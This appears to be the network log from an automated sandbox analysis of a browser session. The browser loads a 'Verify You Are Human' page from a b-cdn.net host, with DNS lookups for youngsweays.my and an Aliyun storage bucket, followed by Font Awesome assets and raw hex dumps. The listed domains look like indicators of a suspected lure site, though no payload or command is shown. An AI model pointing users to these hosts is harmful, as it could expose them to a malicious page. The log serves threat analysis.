Dec 10, 2024 12:49:03.811615944 CET	1.1.1.1	192.168.2.17	0x171d	No error (0)	asgbucket.oss-ap-southeast-3.aliyuncs.com	47.254.218.16	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 12:49:34.786202908 CET	1.1.1.1	192.168.2.17	0x9143	No error (0)	youngsweays.my	104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ytfjghloadv1.b-cdn.net

https:

cdnjs.cloudflare.com

asgbucket.oss-ap-southeast-3.aliyuncs.com

youngsweays.my

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49707	89.35.237.170	443	7080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:48:12 UTC	690	OUT	GET /proCESSINGveriffv001.html HTTP/1.1 Host: ytfjghloadv1.b-cdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 11:48:13 UTC	685	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:48:13 GMT Content-Type: text/html Content-Length: 4841 Connection: close Vary: Accept-Encoding Server: BunnyCDN-RI1-892 CDN-PullZone: 3060911 CDN-Uid: 34352939-c0d2-40e6-a3cd-ba37545e827b CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 ETag: "675718b3-12e9" Last-Modified: Mon, 09 Dec 2024 16:20:03 GMT CDN-StorageServer: DE-637 CDN-FileServer: 861 CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/09/2024 19:55:58 CDN-EdgeStorageId: 892 CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 5cb54605183675bbe29405eec4d0737c CDN-Cache: HIT Accept-Ranges: bytes
2024-12-10 11:48:13 UTC	4841	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 56 65 72 69 66 79 20 59 6f 75 20 41 72 65 20 48 75 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verify You Are Human</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/aja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49709	104.17.24.14	443	7080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:48:14 UTC	590	OUT	GET /ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ytfjghloadv1.b-cdn.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 11:48:15 UTC	948	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:48:15 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"619c057b-44be" Last-Modified: Mon, 22 Nov 2021 21:02:51 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 612138 Expires: Sun, 30 Nov 2025 11:48:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=agUDvB6j%2BhgXrCVH8oaIanL1meFkHaRkjwBFgVXJAEEW0yq4ddv4Ec5EvBs3vcCXXd1CzR53z0po04hEv%2FXD8dHYxVhxeR%2FzLadLoCJ%2B8R9qmN6zHT8xVgca%2B9hSK707F6wfwqbX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8efd013a6e61c328-EWR alt-svc: h3=":443"; ma=86400
2024-12-10 11:48:15 UTC	421	IN	Data Raw: 37 62 66 63 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 30 2e 30 2d 62 65 74 61 33 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 31 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 Data Ascii: 7bfc/! Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2021 Fonticons, Inc. */.fa{font-family:var(--fa
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 Data Ascii: {-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d Data Ascii: var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);anim
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 7d 2e 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d Data Ascii: uration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f Data Ascii: ection:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-co
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 Data Ascii: sition-delay:0s;transition-delay:0s;-webkit-transition-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 28 2d 2d 66 61 2d 66 6c 69 70 2d 79 2c 31 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 7a 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 61 6e 67 6c 65 2c 2d 31 38 30 64 65 67 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 33 64 28 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 78 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 79 2c 31 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 7a 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 61 6e 67 6c 65 2c 2d 31 38 30 64 65 67 29 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 Data Ascii: (--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 5c 33 30 22 7d 2e 66 61 2d 31 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 31 22 7d 2e 66 61 2d 32 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 32 22 7d 2e 66 61 2d 33 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 33 22 7d 2e 66 61 2d 34 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 34 22 7d 2e 66 61 2d 35 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 35 22 7d 2e 66 61 2d 36 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 36 22 7d 2e 66 61 2d 37 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 37 22 7d 2e 66 61 2d 38 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 38 22 7d 2e 66 61 2d 39 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 39 22 7d 2e 66 61 2d 61 3a 62 Data Ascii: \30"}.fa-1:before{content:"\31"}.fa-2:before{content:"\32"}.fa-3:before{content:"\33"}.fa-4:before{content:"\34"}.fa-5:before{content:"\35"}.fa-6:before{content:"\36"}.fa-7:before{content:"\37"}.fa-8:before{content:"\38"}.fa-9:before{content:"\39"}.fa-a:b
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 64 6f 77 6e 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 38 36 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 61 2d 7a 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6c 70 68 61 2d 61 73 63 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6c 70 68 61 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 64 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 6c 6f 6e 67 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 35 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 73 68 6f 72 74 2d 77 69 64 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6d 6f 75 6e 74 2d 64 65 73 63 3a 62 65 66 6f Data Ascii: down-alt:before{content:"\f886"}.fa-arrow-down-a-z:before,.fa-sort-alpha-asc:before,.fa-sort-alpha-down:before{content:"\f15d"}.fa-arrow-down-long:before,.fa-long-arrow-down:before{content:"\f175"}.fa-arrow-down-short-wide:before,.fa-sort-amount-desc:befo
2024-12-10 11:48:15 UTC	1369	IN	Data Raw: 66 61 2d 61 72 72 6f 77 2d 74 75 72 6e 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 65 76 65 6c 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 74 75 72 6e 2d 75 70 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 65 76 65 6c 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 38 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 32 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 2d 31 2d 39 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 6e 75 6d 65 72 69 63 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 33 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 2d 39 2d 31 3a 62 65 66 6f 72 65 2c 2e 66 61 Data Ascii: fa-arrow-turn-down:before,.fa-level-down:before{content:"\f149"}.fa-arrow-turn-up:before,.fa-level-up:before{content:"\f148"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-up-1-9:before,.fa-sort-numeric-up:before{content:"\f163"}.fa-arrow-up-9-1:before,.fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49708	89.35.237.170	443	7080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:48:16 UTC	625	OUT	GET /favicon.ico HTTP/1.1 Host: ytfjghloadv1.b-cdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 11:48:16 UTC	572	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 11:48:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Server: BunnyCDN-RI1-892 CDN-PullZone: 3060911 CDN-Uid: 34352939-c0d2-40e6-a3cd-ba37545e827b CDN-RequestCountryCode: US Cache-Control: no-cache CDN-StorageServer: DE-676 CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 404 CDN-CachedAt: 12/10/2024 11:48:16 CDN-EdgeStorageId: 892 CDN-Status: 404 CDN-RequestTime: 1 CDN-RequestId: 05bf97dfcebbd01b2607be1b63e77c74 CDN-Cache: MISS
2024-12-10 11:48:16 UTC	685	IN	Data Raw: 32 61 36 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 62 75 6e 6e 79 2e 6e 65 74 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 75 62 69 6b 3a 33 30 30 2c 34 30 30 2c 35 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 75 62 69 6b 27 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 Data Ascii: 2a6<html><head><title>404 - File Not Found</title><link href='//fonts.bunny.net/css?family=Rubik:300,400,500' rel='stylesheet' type='text/css'><style>html, body { width: 100%; margin: 0; padding: 0; text-align: center; font-family: 'Rubik'; background-r
2024-12-10 11:48:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49713	104.17.24.14	443	7080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:48:19 UTC	672	OUT	GET /ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ytfjghloadv1.b-cdn.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 11:48:20 UTC	973	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:48:20 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 105204 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "619c057b-19af4" Last-Modified: Mon, 22 Nov 2021 21:02:51 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 973852 Expires: Sun, 30 Nov 2025 11:48:20 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AohZYCJxj%2BDGKLJSWU3fEzhAaL1XiH3Ahp2R9ayZd7vx0bpYoblDZ6kbYvd9kZKoLuCKozY5SNjmPMyjOgLGtsyiPk77mW34dsbcVYY4TpZvGZzGXCqAXY0K0kPfFJKSX7VRQPCB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8efd01591d23c325-EWR alt-svc: h3=":443"; ma=86400
2024-12-10 11:48:20 UTC	396	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 9a f4 00 0a 00 00 00 02 ad 68 00 01 9a aa 03 00 00 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 38 02 24 04 20 06 60 03 8f 44 00 8d 38 ca 8a a3 60 cb 8f 48 05 88 48 07 20 a5 b3 56 51 66 c0 81 f3 00 00 b0 5a 3f 0f ca 88 ae 93 da 3d 00 aa 6a 99 10 6f af 1a 10 bf fc f6 c7 5f ff fc f7 97 81 b1 3b 20 96 ed b8 9e 6f a8 ef f7 fb ec 39 0f 17 88 d5 aa 10 dd 10 80 8c 90 27 50 1e c8 02 ca c8 55 a9 1b 9f f2 88 12 50 e5 5b a8 2b 37 80 5c 34 c8 df 05 98 59 17 42 cf ac 64 f9 83 be f4 5b f6 68 cf 98 21 a1 e6 ec a9 d9 97 b8 5a d8 8a fa f0 b4 32 ed bf 8f 85 d0 c0 d5 5d 35 c3 dd 5d 5d 5d 33 1a 8d 66 84 bb da 95 16 b4 08 86 45 13 c4 f6 da 0a 18 39 60 c7 32 c4 41 27 4e 1c 58 07 15 76 2e e4 90 03 b4 4e ee c2 97 cb e5 92 8b 43 Data Ascii: wOF2hC8$ `D8`HH VQfZ?=jo_; o9'PUP[+7\4YBd[h!Z2]5]]]3fE9`2A'NXv.NC
